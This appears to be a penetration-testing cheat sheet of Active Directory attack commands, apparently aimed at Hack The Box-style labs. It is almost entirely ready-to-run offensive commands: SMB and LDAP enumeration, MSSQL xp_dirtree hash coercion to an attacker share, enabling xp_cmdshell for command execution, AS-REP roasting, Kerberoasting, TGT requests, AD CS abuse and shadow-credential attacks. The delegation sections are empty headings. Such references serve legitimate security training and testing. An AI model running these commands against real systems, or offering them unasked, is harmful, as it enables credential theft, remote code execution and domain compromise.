CheatSheet - Active Directory Attacks
SMB
1
nxc smb 10.10.10.10 -u user -p password
1
nxc smb 10.10.10.10 -u user -p password --user --shares -M spider_plus
LDAP
1
ldapsearch -H 'ldap://htb.local/' -x -b "dc=htb,dc=local" '(objectClass=person)'
MSSQL
XP_DIRTREE
List a directory
1
exec master.sys.xp_dirtree 'c:\', 1, 1;
Get NetNTMLv2 hash
1
xp_dirtree \\10.10.10.10\share
Command execution
Check admin privileges 1=true=admin
1
SELECT is_srvrolemember('sysadmin');
Enable xp_cmdshell
1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
1
enable_xp_cmdshell
Executing commands.
1
xp_cmdshell "whoami"
1
nxc mssql manager.htb -u operator -p operator -x whoami
1
nxc mssql domain.local -u user -p pass -q 'ELECT name FROM master.dbo.sysdatabases;'
Attacking Kerberos
AS-Rep Roasting
1
nxc ldap 10.10.10.161 -u '' -p '' --asreproast hashes.txt
1
GetNPUsers.py 'htb.local/' -usersfile users.txt -no-pass -dc-ip 10.10.10.161
1
rubeus.exe asreproast /format:hashcat /nowrap
Kerberoasting
1
GetUserSPNs.py -request -dc-ip 10.10.10.10 'DOMAIN/user:password' -outputfile hashes.txt
1
nxc ldap 10.10.10.10. -u user -p password --kerberoasting hashes.txt
1
rubeus.exe kerberoast /nowrap
Pass The Ticket
Generating TGTs
1
getTGT.py 'domain.local/user' -dc-ip 10.10.11.45 -p 'password'
1
nxc smb domain -u user -p password --generate-tgt
AD CS
1
certipy find -vulnerable -u user -p password -dc-ip 10.10.11.72 -stdout
1
certify.exe find /vulnerable
1
nxc ldap 10.10.10.10 -u user -p pass -M adcs
Shadow Credentials
Windows
1
Whisker.exe add /target:sflowers /password:siriussirius /path:cert.pfx
1
Rubeus.exe asktgt /user:sflowers /certificate:cert.pfx /password:"siriussirius" /domain:domain.local /dc:DC.domain.local /getcredentials /show
Linux
1
certipy shadow auto -account {target_user} -u 'user@domain.local' -p 'password' -dc-ip 10.129.135.59
1
bloodyAD --host domain.local -d domain.local -u user -p password add shadowCredentials {target_user}
Delegation
Constrained Delegation
Unconstrained Delegation
Resource Based Constrained Delegation
References
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
This post is licensed under CC BY 4.0 by the author.